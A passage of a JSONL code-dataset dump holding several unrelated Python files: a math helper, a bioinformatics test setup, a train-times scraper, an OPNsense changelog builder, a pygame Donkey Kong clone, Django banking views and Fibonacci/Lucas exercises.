n == d\n\n a, ap = 0, 1\n b, bp = 1, 0\n c = m\n d = n\n while True:\n q = c / d\n r = c - d * q\n if r == 0:\n return a, b, d\n c,d = d, r\n ap, a = a, ap - q * a\n bp, b = b, bp - q * b\n\n\nif __name__ == \"__main__\":\n # Run the doctests as a smoke test.\n import doctest\n doctest.testmod()\n\n \n\n","sub_path":"my_math.py","file_name":"my_math.py","file_ext":"py","file_size_in_byte":3895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"388311464","text":"import os\nimport sys\nimport tempfile\nimport unittest\nfrom epitome.models import *\nfrom epitome.dataset import *\n\n# set Epitome data path to test data files for testing\n# this data was saved using functions.saveToyData(/epitome/test/daata)\ndir_path = os.path.dirname(os.path.realpath(__file__))\nos.environ[\"EPITOME_DATA_PATH\"] = os.path.abspath(os.path.join(dir_path, \"data\",\"test\"))\n\nS3_TEST_PATH = 'https://epitome-data.s3-us-west-1.amazonaws.com/test.zip'\n\nclass EpitomeTestCase(unittest.TestCase):\n\n\tdef __init__(self, *args, **kwargs):\n\t\t# download test data to parent dir of EPITOME_DATA_PATH if it was not yet downloaded\n\t\tdownload_and_unzip(S3_TEST_PATH, os.path.dirname(os.environ[\"EPITOME_DATA_PATH\"]))\n\t\tsuper(EpitomeTestCase, self).__init__(*args, **kwargs)\n\n\tdef getFeatureData(self,\n\t\t\t\t\ttargets,\n\t\t\t\t\tcells,\n\t\t\t\t\tsimilarity_targets = ['DNase'],\n\t\t\t\t\tmin_cells_per_target = 3,\n\t\t\t\t\tmin_targets_per_cell = 1):\n\n\t\t# returns matrix, cellmap, assaymap\n\t\treturn EpitomeDataset.get_assays(\n\t\t\t\ttargets = targets,\n\t\t\t\tcells = cells,\n\t\t\t\tsimilarity_targets = similarity_targets,\n\t\t\t\tmin_cells_per_target = min_cells_per_target,\n\t\t\t\tmin_targets_per_cell = min_targets_per_cell)\n\n\tdef makeSmallModel(self):\n\t\teligible_cells = ['K562','HepG2','H1','A549','HeLa-S3']\n\t\teligible_targets = ['DNase','CTCF']\n\n\t\tdataset = EpitomeDataset(targets = eligible_targets,\n\t\t\tcells = eligible_cells)\n\n\n\t\treturn EpitomeModel(dataset,\n\t\t\ttest_celltypes = ['K562'])\n\n\n\tdef tmpFile(self):\n\t\ttempFile = tempfile.NamedTemporaryFile(delete=True)\n\t\ttempFile.close()\n\t\treturn tempFile.name\n","sub_path":"epitome/test/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"216728644","text":"from kinbot.reac_General import GeneralReac\n\n\nclass CpdHMigration(GeneralReac):\n max_step = 14\n scan = 0\n skip = 1\n \n\n def get_constraints(self, step, geom):\n fix = []\n change = []\n release = []\n if step < self.max_step:\n fix_bonds(fix)\n\n if step == 0:\n self.set_angle_single(-2, -1, 0, 70., change)\n\n if step == 1:\n fval = 1.35\n self.set_bond(-2, -1, fval, change)\n self.set_bond(0, -1, fval, change)\n \n self.clean_constraints(change, fix)\n\n return step, fix, change, release\n","sub_path":"kinbot/reac_cpd_H_migration.py","file_name":"reac_cpd_H_migration.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"420294976","text":"#!/usr/bin/env python3\nfrom lxml import etree as ET\nimport requests\nimport stations\n\nr = requests.get(\n 'http://iris2.rail.co.uk/tiger/{}.xml'.format(stations.iris_id))\nroot = ET.XML(r.content)\n\n\ndef find_train_with_destination(station):\n return root.findall(\"./Service/Destination1[@crs='{}']..\".format(station))\n\n\ndef find_train_with_origin(station):\n return root.findall(\"./Service/Origin1[@crs='{}']..\".format(station))\n\n\ndeparting_services = sum(\n map(find_train_with_destination, stations.departing_train_end_point), [])\n\ndepartDict = dict(\n [\n (i,\n {\n \"departTime\": s.find('DepartTime').get('time'),\n \"delay\": s.find('ServiceStatus').get('status') == 'Delayed',\n \"delayMins\": s.find('Delay').get('Minutes'),\n \"destinationArriveTime\": s.findall(\n \"./Dest1CallingPoints/CallingPoint[@crs='{}']\".format(\n stations.destination))[0].get('etarr')}) for i,\n s in enumerate(departing_services)])\n\narriving_services = sum(\n map(find_train_with_origin, stations.arriving_train_start_point), [])\n\narriveDict = dict([(i,\n {\"arriveTime\": s.find('ArriveTime').get('time'),\n \"delay\": s.find('ServiceStatus').get('status') == 'Delayed',\n \"delayMins\": s.find('Delay').get('Minutes'),\n \"expectedArriveTime\": s.find('ExpectedArriveStatus').get('time')\n }) for i, s in enumerate(arriving_services)])\n\nprint(arriveDict)\nprint(departDict)\n","sub_path":"train-time.py","file_name":"train-time.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"411629669","text":"#!/usr/local/bin/python\n\"\"\"\n Copyright (c) 2020 Ad Schellevis \n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and/or other materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,\n INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY\n AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,\n OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n POSSIBILITY OF SUCH DAMAGE.\n\"\"\"\n\nimport os\nimport argparse\nimport requests\nimport zipfile\nimport collections\nimport re\nfrom packaging import version\nfrom jinja2 import Template\n\ndef download_zip(target_filename):\n req = requests.get(\"https://github.com/opnsense/changelog/archive/master.zip\", stream=True)\n if req.status_code == 200:\n req.raw.decode_content = True\n with open(target_filename, 'wb') as f_out:\n while True:\n data = req.raw.read(10240)\n if not data:\n break\n else:\n f_out.write(data)\n\ndef parse_change_log(payload, this_version):\n result = {\n \"release_date\": \"---\",\n \"prelude\": list(),\n \"content\": list()\n }\n all_tokens = set()\n all_token_links = dict()\n first_line = False\n prelude_line = this_version.count(\".\") == 1\n rst_content = list()\n lines = payload.split(\"\\n\")\n for idx, line in enumerate(lines):\n content_line = None\n # general cleanups\n line = line.replace('*', '\\*')\n if line.find('`') > -1:\n line = re.sub(r'(`)([^`|\\']*)([`|\\'])', r':code:`\\2`', line)\n #\n for token in re.findall(r'(\\[[0-9]{1,2}\\])', line):\n all_tokens.add(token)\n if idx < 3 and line.find('@') > -1:\n result[\"release_date\"] = line.split('@')[1].strip()\n elif first_line is False and line.strip() != \"\":\n # strip tag line\n first_line = idx\n if line.find('OPNsense') > -1:\n content_line = line\n elif line == '--':\n # chop tagine\n del result['content'][-3:]\n elif line.startswith('o '):\n content_line = \"*%s\" % line[1:] # bullet list\n elif line.startswith('# '):\n # literal (code) block\n if not lines[idx-1].startswith('# '):\n content_line = \".. code-block::\\n\\n %s\" % line\n else:\n content_line = \" %s\" % line\n elif line.startswith('[') and line[0:line.find(']')+1] in all_tokens:\n token = line[0:line.find(']')+1]\n all_token_links[token] = line[len(token)+1:].strip()\n else:\n content_line = line\n\n if content_line is not None:\n result['content'].append(content_line)\n if prelude_line:\n result['prelude'].append(content_line)\n\n # prelude exit\n if prelude_line and line.find('https://opnsense.org/download/') > -1:\n prelude_line = False\n\n result[\"content\"] = \"\\n\".join(result[\"content\"])\n result[\"prelude\"] = \"\\n\".join(result[\"prelude\"])\n # replace links\n for section in ['content', 'prelude']:\n for token in all_token_links:\n result[section] = result[section].replace(token, \" `%s <%s>`__ \" % (token, all_token_links[token]))\n return result\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--skip_download', help='skip downloading github rep', action='store_true')\n cmd_args = parser.parse_args()\n\n root_dir = os.path.dirname(os.path.abspath(__file__))\n changelog_zip = \"%s/changelog_github.zip\" % root_dir\n if not cmd_args.skip_download:\n download_zip(changelog_zip)\n\n if os.path.isfile(changelog_zip):\n template_data = {\n 'major_versions': collections.OrderedDict(),\n 'versions': collections.OrderedDict(),\n 'nicknames': collections.OrderedDict(),\n }\n all_versions = dict()\n # read all changelogs (from zip)\n with zipfile.ZipFile(changelog_zip, mode='r', compression=zipfile.ZIP_DEFLATED) as zf:\n for item in zf.infolist():\n fparts = item.filename.split('/')\n if len(fparts) > 3 and fparts[1] == 'doc' and item.file_size > 0:\n all_versions[fparts[3]] = zf.open(item).read().decode()\n\n for my_version in sorted(all_versions, key=lambda x: version.Version(x.replace('.r','rc')), reverse=True):\n major_version = \".\".join(my_version.split('.')[:2])\n if major_version not in template_data['major_versions']:\n template_data['major_versions'][major_version] = dict()\n template_data['versions'][my_version] = parse_change_log(all_versions[my_version], my_version)\n\n if major_version == my_version:\n template_data['nicknames'][my_version] = \"\"\n tmp = all_versions[my_version].replace('\\n', ' ')\n m = re.match(r'.*nicknamed [\"\\'](?P[^\"\\']+)', tmp)\n if m:\n template_data['nicknames'][my_version] = m.groupdict()['nickname']\n\n # root menu index\n with open(\"%s/source/releases.rst\" % root_dir, 'w') as f_out:\n template = Template(open(\"%s/source/releases.rst.in\" % root_dir, \"r\").read())\n f_out.write(template.render(template_data))\n\n # per version rst file\n template = Template(open(\"%s/source/releases/default.rst.in\" % root_dir, \"r\").read())\n for major_version in template_data['major_versions']:\n if major_version in template_data['versions']:\n # wait for the main version before writing a changelog\n with open(\"%s/source/releases/%s.rst\" % (root_dir, major_version), 'w') as f_out:\n template_data['this_version'] = major_version\n f_out.write(template.render(template_data))\n","sub_path":"collect_changelogs.py","file_name":"collect_changelogs.py","file_ext":"py","file_size_in_byte":6840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"634011489","text":"import matplotlib.pyplot as plt\n\nfrom die import Die\n\n\ncount = 100\ndies = [Die(), Die()]\nnum = 1\n\ndef roll_all(dies):\n \"\"\"所有骰子掷一次相加结果\"\"\"\n result = 1\n for die in dies:\n result *= die.roll()\n return result\n\ndef max_result(dies):\n \"\"\"最大值\"\"\"\n result = 1\n for die in dies:\n result *= die.num_sides\n return result\n\n#掷几次骰子,将结果存放在一个列表中\nresults = [roll_all(dies) for n in range(count)]\n\nfrequencies = [results.count(v) for v in range(1, len(results) + 1)]\n\nprint(len(results))\nprint(len(frequencies))\n\n#matplotlib直方图\n#...\n","sub_path":"PythonCrashCourse/chapter15/15_10.py","file_name":"15_10.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"5890074","text":"#!/usr/bin/env python\n#######################################\n# Author : Dhruv Khattar #\n#####################################\n\n\"\"\" Importing libararies \"\"\"\nimport pygame\nimport os\nimport sys\nimport time\nimport random\n\n\"\"\" Importing Modules \"\"\"\nimport Person\nimport Player\nimport Donkey\nimport Board\nimport Fireball\n\n\"\"\"Declaring Screen Dimensions \"\"\"\nWIDTH = 1350\nHEIGHT = 780\nBLOCK = 30\n\nclass Game(object):\n \"\"\" This class represents an instance of the game. \"\"\"\n \"\"\"If we want to restart the game , then we just need to create a new instance of this class. \"\"\"\n \n def __init__(self,score,lives,level):\n \"\"\" Constructor Function: called automatically when an instance of the class is created \"\"\"\n \n \"\"\"Creating Player \"\"\"\n self.player = Player.Player()\n \n \"\"\" Creating a List for Donkey and Fireballs\"\"\"\n self.fireball_sprites = pygame.sprite.Group()\n\n \"\"\" Declaring Current Level \"\"\"\n self.current_level = Board.Board(self.player)\n\n \"\"\" Creating various Sprite Groups \"\"\"\n self.moving_sprites = pygame.sprite.Group()\n self.donkey_sprites = pygame.sprite.Group()\n self.player.level = self.current_level\n\n \"\"\" Player's initial Location \"\"\"\n self.player.rect.x = 30\n self.player.rect.y = HEIGHT - self.player.rect.height-30\n \n \"\"\"Adding Player in moving_sprites to make updates easy\"\"\"\n self.moving_sprites.add(self.player)\n\n \"\"\" List that contains random numbers for turning Donkey \"\"\"\n self.donkeyturn = []\n\n \"\"\" Creating Donkey and adding it to lists \"\"\"\n for i in range(0,level):\n donkey = Donkey.Donkey()\n \n \"\"\"Donkey's initial Location\"\"\"\n donkey.rect.x = 30+30*i\n donkey.rect.y = 120\n \n \"\"\"Adding Donkey in various lists\"\"\"\n self.donkey_sprites.add(donkey)\n self.donkeyturn.append(random.randint(100,200))\n self.moving_sprites.add(donkey)\n \n \"\"\" For restarting and respawing \"\"\"\n self.game_over = False\n self.game_win = False\n\n \"\"\" Score Lives Level \"\"\"\n self.level = level\n self.score = score\n self.lives = lives\n\n \"\"\" Flag to check when 'a' or 's' is pressed \"\"\"\n self.flag = 0\n\n \"\"\" Counter to randomize things \"\"\"\n self.counter = 0\n\n\n def checkCollision(self):\n \"\"\" Checks Collision netween Player and fireball_sprites \"\"\"\n\n \"\"\" Checking if Fireball hits Player\"\"\"\n kill_hit = pygame.sprite.spritecollide(self.player,self.fireball_sprites,True)\n if len(kill_hit) > 0:\n \"\"\" Lost a Life \"\"\"\n self.ouch_sound.play()\n self.game_over = True\n \n \"\"\" Checking if Donkey hits Player\"\"\"\n donkey_hit = pygame.sprite.spritecollide(self.player,self.donkey_sprites,True)\n if len(donkey_hit) > 0:\n \"\"\" Ending Game \"\"\"\n self.gameover_sound.play()\n self.game_over = True\n self.lives = 1\n\n\n def collectCoin(self):\n \"\"\" Checks if Player collects a coin and increases the score by 5\"\"\"\n\n coins_hit = pygame.sprite.spritecollide(self.player,self.player.level.coins,True)\n if len(coins_hit) > 0:\n self.score += len(coins_hit)*5\n self.coin_sound.play()\n\n \n def collectLife(self):\n \"\"\" Checks if Player collects a heart and gains a life\"\"\"\n\n hearts_hit = pygame.sprite.spritecollide(self.player,self.player.level.life,True)\n if len(hearts_hit) > 0:\n self.lives += 1\n self.extralife_sound.play()\n\n \n def checkWin(self):\n \"\"\" Checks if the Player has saved the Queen \"\"\"\n\n queen_hit = pygame.sprite.spritecollide(self.player,self.player.level.queen, True)\n\n if len(queen_hit) > 0:\n \"\"\"Player wins the Game\"\"\"\n self.game_win = True\n self.win_sound.play()\n\n\n def editFireball(self):\n \"\"\" Creates and Destroys Fireballs\"\"\"\n \n \"\"\" Removing Fireballs when they reach the Player's spawn position \"\"\"\n for fireball in self.fireball_sprites:\n if fireball.rect.y == HEIGHT - 60 and fireball.rect.x < 45:\n self.fireball_sprites.remove(fireball)\n self.moving_sprites.remove(fireball)\n \n \"\"\" Counter to randomize Fireballs produced by Donkey\"\"\"\n if self.counter%200 == 0:\n \n for donkey in self.donkey_sprites:\n \n \"\"\" Creating a new Fireball\"\"\"\n self.fireball = Fireball.Fireball()\n \n \"\"\" Setting the initial Fireball cordinates to Donkey's cordinates\"\"\"\n self.fireball.rect.x = donkey.rect.x\n self.fireball.rect.y = donkey.rect.y\n self.fireball.level = self.current_level\n \n \"\"\"Setting Fireballs initial vector\"\"\"\n if donkey.change_x > 0:\n self.fireball.change_x = 4\n else:\n self.fireball.change_x = -4\n\n \"\"\" Adding Fireball to moving_sprites and fireball_sprites\"\"\"\n self.moving_sprites.add(self.fireball)\n self.fireball_sprites.add(self.fireball)\n\n\n def turnDonkey(self):\n \"\"\" Function that turns Donkey randomly \"\"\"\n\n i = 0\n for donkey in self.donkey_sprites:\n if self.counter%self.donkeyturn[i] == 0:\n donkey.change_x *= -1\n self.donkeyturn[i] = random.randint(100,200)\n i += 1\n\n\n def process_Events(self):\n \"\"\" Processes all the events and returns True if we Game needs to be Quit \"\"\"\n \n for event in pygame.event.get():\n \"\"\" If Window's closed\"\"\"\n if event.type == pygame.QUIT:\n return True\n \n \"\"\" If a key is pressed\"\"\"\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_q:\n return True\n if event.key == pygame.K_a:\n self.player.goLeft()\n if event.key == pygame.K_d:\n self.player.goRight()\n if event.key == pygame.K_w:\n self.flag = 1\n self.player.goUp()\n if event.key == pygame.K_s:\n self.flag = 1\n self.player.goDown()\n if event.key == pygame.K_SPACE:\n self.player.jump()\n if event.key == pygame.K_c:\n if self.game_over and self.lives==1:\n self.__init__(0,3,1)\n if event.key == pygame.K_RETURN:\n if self.game_win:\n self.__init__(self.score+50,self.lives,self.level+1)\n\n \"\"\" If a key pressed is left\"\"\"\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_a and self.player.change_x < 0:\n self.player.stopX()\n if event.key == pygame.K_d and self.player.change_x > 0:\n self.player.stopX()\n if event.key == pygame.K_w :\n self.flag = 0\n self.player.stopY()\n if event.key == pygame.K_s :\n self.flag = 0\n self.player.stopY()\n \n return False\n\n\n def respawn(self):\n \"\"\" Respawns Player in the bottom left corner \"\"\"\n self.game_over = False\n self.score -= 25\n self.lives -= 1\n self.player.rect.x = BLOCK\n self.player.rect.y = HEIGHT - 2*BLOCK\n\n\n def updateSprites(self):\n \"\"\"Updates various Sprites\"\"\"\n self.moving_sprites.update(self.flag)\n\n\n def drawFrame(self,screen):\n \"\"\"Draws the Screen\"\"\"\n\n if self.game_win:\n font = pygame.font.Font(None,100)\n text1 = font.render(\"YOU WIN \", 1 , (0,0,0))\n text2 = font.render(\"Press ENTER to continue\", 1 , (0,0,0))\n textpos1 = text1.get_rect(centerx=WIDTH/2,centery=HEIGHT/2-50)\n textpos2 = text2.get_rect(centerx=WIDTH/2,centery=HEIGHT/2+50)\n screen.blit(text1,textpos1)\n screen.blit(text2,textpos2)\n elif not self.game_over:\n self.current_level.draw(screen)\n self.moving_sprites.draw(screen)\n font = pygame.font.Font(None,36)\n text = font.render(\"SCORE: %s LIVES: %s LEVEL: %s\" % (self.score ,self.lives,self.level), 1 , (0,0,0))\n screen.blit(text,[0,HEIGHT-30])\n else:\n font = pygame.font.Font(None,100)\n if self.lives > 1:\n text = font.render(\"LIVES LEFT: %s \" % (self.lives - 1) , 1 , (0,0,0))\n self.respawn()\n textpos = text.get_rect(centerx=WIDTH/2,centery=HEIGHT/2)\n screen.blit(text,textpos)\n pygame.display.flip()\n time.sleep(0.5)\n else:\n back = pygame.image.load(\"images/DKback.jpg\")\n screen.blit(back,(0,0))\n text1 = font.render(\"YOU LOSE \" , 1 , (0,0,0))\n text2 = font.render(\"SCORE : %s\" % self.score , 1 , (0,0,0))\n text3 = font.render(\"Press C to Restart\" , 1 , (0,0,0))\n textpos1 = text1.get_rect(centerx=WIDTH/2,centery=HEIGHT/2-100)\n textpos2 = text2.get_rect(centerx=WIDTH/2,centery=HEIGHT/2)\n textpos3 = text3.get_rect(centerx=WIDTH/2,centery=HEIGHT/2+100)\n screen.blit(text1,textpos1)\n screen.blit(text2,textpos2)\n screen.blit(text3,textpos3)\n \n \"\"\" Updating the screen i.e. Showing the changes done in this iteration \"\"\"\n pygame.display.flip()\n\n\n\"\"\" Main Program \"\"\"\ndef main():\n \"\"\" Initializing PyGame \"\"\"\n pygame.init()\n\n \"\"\" Initializing Screen \"\"\"\n screen = pygame.display.set_mode((WIDTH,HEIGHT))\n\n \"\"\" Setting Title of the Game\"\"\"\n pygame.display.set_caption(\"Donkey Kong\")\n \n \"\"\" FPS \"\"\"\n clock = pygame.time.Clock()\n \n \"\"\" Counter to check if Game is closed\"\"\"\n done = False\n\n \"\"\" Adding intro sound \"\"\"\n intro = pygame.mixer.Sound(\"sounds/intro.wav\")\n intro.play()\n\n \"\"\" Printing Rules of the Game \"\"\"\n font = pygame.font.Font(None,70)\n font.set_bold(True)\n\n title = pygame.font.Font(None,100).render(\" DONKEY KONG \", 1, (0,255,0))\n name = pygame.font.Font(None , 40).render(\"created by : Dhruv Khattar\", 1, (0,255,0))\n rule = font.render(\" Rules \", 1 , (0,0,0))\n rule1 = font.render(\" - To win the Game , you just have to save the Queen.\", 1 , (0,0,0))\n rule2 = font.render(\" - Player can not climb up a broken Ladder.\", 1 , (0,0,0))\n rule3 = font.render(\" - Coins give you 5 points each.\" , 1, (0,0,0))\n rule4 = font.render(\" - Heart gives you an extra life. \" , 1 , (0,0,0))\n rule5 = font.render(\" - Winning a game gives you 50 points. \" , 1 , (0,0,0))\n rule6 = font.render(\" - If you get hit by a Fireball, you'll respawn , \" , 1 , (0,0,0))\n rule7 = font.render(\" loose a life and get penalized with 25 points. \" , 1 , (0,0,0))\n rule8 = font.render(\" - If you get hit by a Donkey , then you lose the game. \" , 1 , (0,0,0))\n rule9 = font.render(\" - Press any key to play. \" , 1 , (0,0,0))\n \n titlepos = title.get_rect(centerx=WIDTH/2,centery=HEIGHT/2-300)\n namepos = name.get_rect(centerx=WIDTH/2,centery=HEIGHT/2-220)\n rulepos = rule.get_rect(centerx=WIDTH/2,centery=HEIGHT/2-180)\n textpos1 = rule1.get_rect(centery=HEIGHT/2-120)\n textpos2 = rule2.get_rect(centery=HEIGHT/2-60)\n textpos3 = rule3.get_rect(centery=HEIGHT/2)\n textpos4 = rule4.get_rect(centery=HEIGHT/2+60)\n textpos5 = rule5.get_rect(centery=HEIGHT/2+120)\n textpos6 = rule6.get_rect(centery=HEIGHT/2+180)\n textpos7 = rule7.get_rect(centery=HEIGHT/2+240)\n textpos8 = rule8.get_rect(centery=HEIGHT/2+300)\n textpos9 = rule9.get_rect(centery=HEIGHT/2+360)\n \n back = pygame.image.load(\"images/DKback.jpg\")\n screen.blit(back,(0,0))\n screen.blit(name,namepos)\n screen.blit(title,titlepos)\n screen.blit(rule1,textpos1)\n screen.blit(rule2,textpos2)\n screen.blit(rule3,textpos3)\n screen.blit(rule4,textpos4)\n screen.blit(rule5,textpos5)\n screen.blit(rule6,textpos6)\n screen.blit(rule7,textpos7)\n screen.blit(rule8,textpos8)\n screen.blit(rule9,textpos9)\n\n pygame.display.flip()\n\n flag = 0\n while 1:\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN :\n flag = 1\n if flag:\n break\n\n \"\"\" Initializing Game \"\"\"\n game = Game(0,3,1)\n \n \"\"\" Adding Sounds \"\"\"\n game.ouch_sound = pygame.mixer.Sound(\"sounds/ouch.ogg\")\n game.coin_sound = pygame.mixer.Sound(\"sounds/coin.ogg\")\n game.win_sound = pygame.mixer.Sound(\"sounds/win.ogg\")\n game.gameover_sound = pygame.mixer.Sound(\"sounds/gameover.ogg\")\n game.extralife_sound = pygame.mixer.Sound(\"sounds/extralife.ogg\")\n pygame.mixer.music.load(\"sounds/bacmusic.wav\")\n\n pygame.mixer.music.play(-1)\n \n \"\"\" Main Program Loop \"\"\"\n while not done:\n \n \"\"\" Process Key Strokes \"\"\"\n done = game.process_Events()\n \n \"\"\"Adding Fireballs\"\"\"\n game.editFireball()\n \n \"\"\" Randomizing turning of Donkey \"\"\"\n game.turnDonkey()\n \n \"\"\" Update Sprites \"\"\"\n game.updateSprites()\n \n \"\"\" Checking if Player collects a Coin \"\"\"\n game.collectCoin()\n \n \"\"\" Checking if Player gains a life \"\"\"\n game.collectLife()\n\n \"\"\" Checking if Player dies \"\"\"\n game.checkCollision()\n \n \"\"\" Checking if Player Wins the Game \"\"\"\n game.checkWin()\n \n \"\"\" Drawing the Screen \"\"\"\n game.drawFrame(screen)\n \n \"\"\" FPS Pause for the next Frame\"\"\"\n clock.tick(60)\n\n \"\"\" Incrementing counter \"\"\"\n game.counter += 1\n\n\"\"\" Close Screen and exit \"\"\"\npygame.quit()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"201402087/Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":14218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"37968885","text":"from django.db import transaction\nfrom django.urls import reverse_lazy\nfrom django.views import generic\nfrom django.views.generic import CreateView\nfrom django.views.generic import FormView\nfrom django.views.generic import ListView\nfrom django.views.generic.edit import UpdateView\n\nfrom core.forms.jursit import Block_Account_form, Jursit_ChequeDetail_Form, Jursit_LoanDetail_Form\nfrom core.models import ChequeIssue, Account, Cashier, Transaction, LoanApplication\n\n\nclass Block_Account_view(FormView):\n template_name = 'core/simple_from_with_single_button.html'\n success_url = reverse_lazy('core:main_panel')\n form_class = Block_Account_form\n\n @transaction.atomic\n def form_valid(self, form):\n account = form.cleaned_data.get('account')\n account.is_blocked = True\n account.save()\n return super(Block_Account_view, self).form_valid(form)\n\n#\n# class Block_Account_view(FormView):\n# template_name = 'core/simple_from_with_single_button.html'\n# success_url = reverse_lazy('core:main_panel')\n# form_class = Block_Account_form\n#\n# @transaction.atomic\n# def form_valid(self, form):\n# account = form.cleaned_data.get('account')\n# account.is_blocked = True\n# account.save()\n#\n# return super(Block_Account_view, self).form_valid(form)\n#\n\n\n\nclass Jursit_Check_Issue_Requests_view(ListView):\n model = ChequeIssue\n template_name = 'core/jursit_cheque_issue.html'\n context_object_name = 'cheque_issue_list'\n\n def get_queryset(self):\n return ChequeIssue.objects.filter(legal_expert_validation= 'NA').order_by('date')\n\n\n\nclass Jursit_ChequeDetailView(UpdateView):\n model = ChequeIssue\n template_name = 'core/jursit_cheque_detail.html'\n success_url = reverse_lazy('core:main_panel')\n form_class = Jursit_ChequeDetail_Form\n\n def form_valid(self, form):\n legal_expert_validation = form.cleaned_data.get('legal_expert_validation')\n cheque_issue = ChequeIssue.objects.get(id=self.kwargs['pk'])\n cheque_issue.legal_expert_validation = legal_expert_validation\n cheque_issue.save()\n return super(Jursit_ChequeDetailView, self).form_valid(form)\n\n\nclass Jursit_Loan_Requests_view(ListView):\n model = LoanApplication\n template_name = 'core/jursit_loan_issue.html'\n context_object_name = 'loan_list'\n\n def get_queryset(self):\n return LoanApplication.objects.filter(legal_expert_validation= 'NA')\n\n\n\nclass Jursit_LoanDetailView(UpdateView):\n model = LoanApplication\n template_name = 'core/jursit_loan_detail.html'\n success_url = reverse_lazy('core:main_panel')\n form_class = Jursit_LoanDetail_Form\n\n def form_valid(self, form):\n legal_expert_validation = form.cleaned_data.get('legal_expert_validation')\n loan_application = LoanApplication.objects.get(id=self.kwargs['pk'])\n loan_application.legal_expert_validation = legal_expert_validation\n loan_application.save()\n return super(Jursit_LoanDetailView, self).form_valid(form)\n\n\n","sub_path":"core/views/jursit.py","file_name":"jursit.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"498213864","text":"#Jon Cracolici\n#Lesson 2 Series Problems\n#UW Python Cert\ndef fibonacci(n):\n \"\"\"Returns Fibonacci Sequence value at 'n' index, with indexing starting at 0.\n arg1 = n = index of the value you wish to be returned.\n \"\"\"\n try:\n if n>=0 and (n%int(n)==0.0) == True:\n pass\n else:\n print('Please use a natural number')\n return\n except:\n print('Please use a natural number')\n return\n intcheck = int(n)\n if intcheck == 0:\n return 0\n elif intcheck == 1:\n return 1\n fsequence = list(range(intcheck+1))\n for i in fsequence[2:]:\n fsequence[i] = fsequence[i-1] + fsequence[i-2]\n return fsequence[intcheck]\nfibonacci(6)\ndef lucas(n):\n \"\"\"Returns Lucas Sequence value at 'n' index, with indexing starting at 0.\n arg1 = n = index of the value you wish to be returned.\n \"\"\" \n try:\n if n>=0 and (n%int(n)==0.0) == True:\n pass\n else:\n print('Please use a natural number')\n return\n except:\n print('Please use a natural number')\n return\n intcheck=int(n)\n if intcheck == 0:\n return 2\n elif intcheck == 1:\n return 1\n lsequence = list(range(intcheck+1))\n lsequence[0]=2\n for i in lsequence[2:]:\n lsequence[i] = lsequence[i-1] + lsequence[i-2]\n #print(lsequence[n])\n #print(lsequence)\n return lsequence[intcheck]\nlucas(6)\ndef sum_series(n, a=0, b=1):\n \"\"\"Returns the value of recursively additive seq at 'n' index,\n defaults to fibonacci. you may use kwargs 'a' and 'b' to set the \n values of the first two indicies.\n arg1 = n = index of the value you wish to be returned.\n kwarg1 = a = value of sequence at index 0.\n kwarg2 = b = value of sequence at index 1.\n \"\"\"\n try:\n if n>=0 and (n%int(n)==0.0) == True:\n pass\n else:\n print('Please use a natural number')\n return\n except:\n print('Please use a natural number')\n return\n intcheck = int(n)\n if intcheck == 0:\n return a\n elif intcheck == 1:\n return b\n sslist = list(range(intcheck+1))\n sslist[0] = a\n sslist[1] = b\n for i in sslist[2:]:\n sslist[i] = sslist[i-1] + sslist[i-2]\n return sslist[intcheck]\nsum_series(6.5, a=2, b=1)\n#This block of code is used to assert that the functions provide\n#the correct answers for index = 6, and also that the sum_series\n#function can create either the fibonacci or lucas series.\n\nassert fibonacci(6)==8\nassert lucas(6)==18\nassert sum_series(6)==fibonacci(6)\nassert sum_series(6, a=2, b=1)==lucas(6)","sub_path":"students/Cracolici_Jon/lesson02/JonCracolici_Lesson2_Series.py","file_name":"JonCracolici_Lesson2_Series.py","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"306193844","text":"from arsenal.alphabet import Alphabet\nfrom collections import Counter, defaultdict\nfrom vocrf.util import prefixes, suffixes, ngram_counts\nfrom arsenal import iterview\n\n\nclass Dataset(object):\n\n def 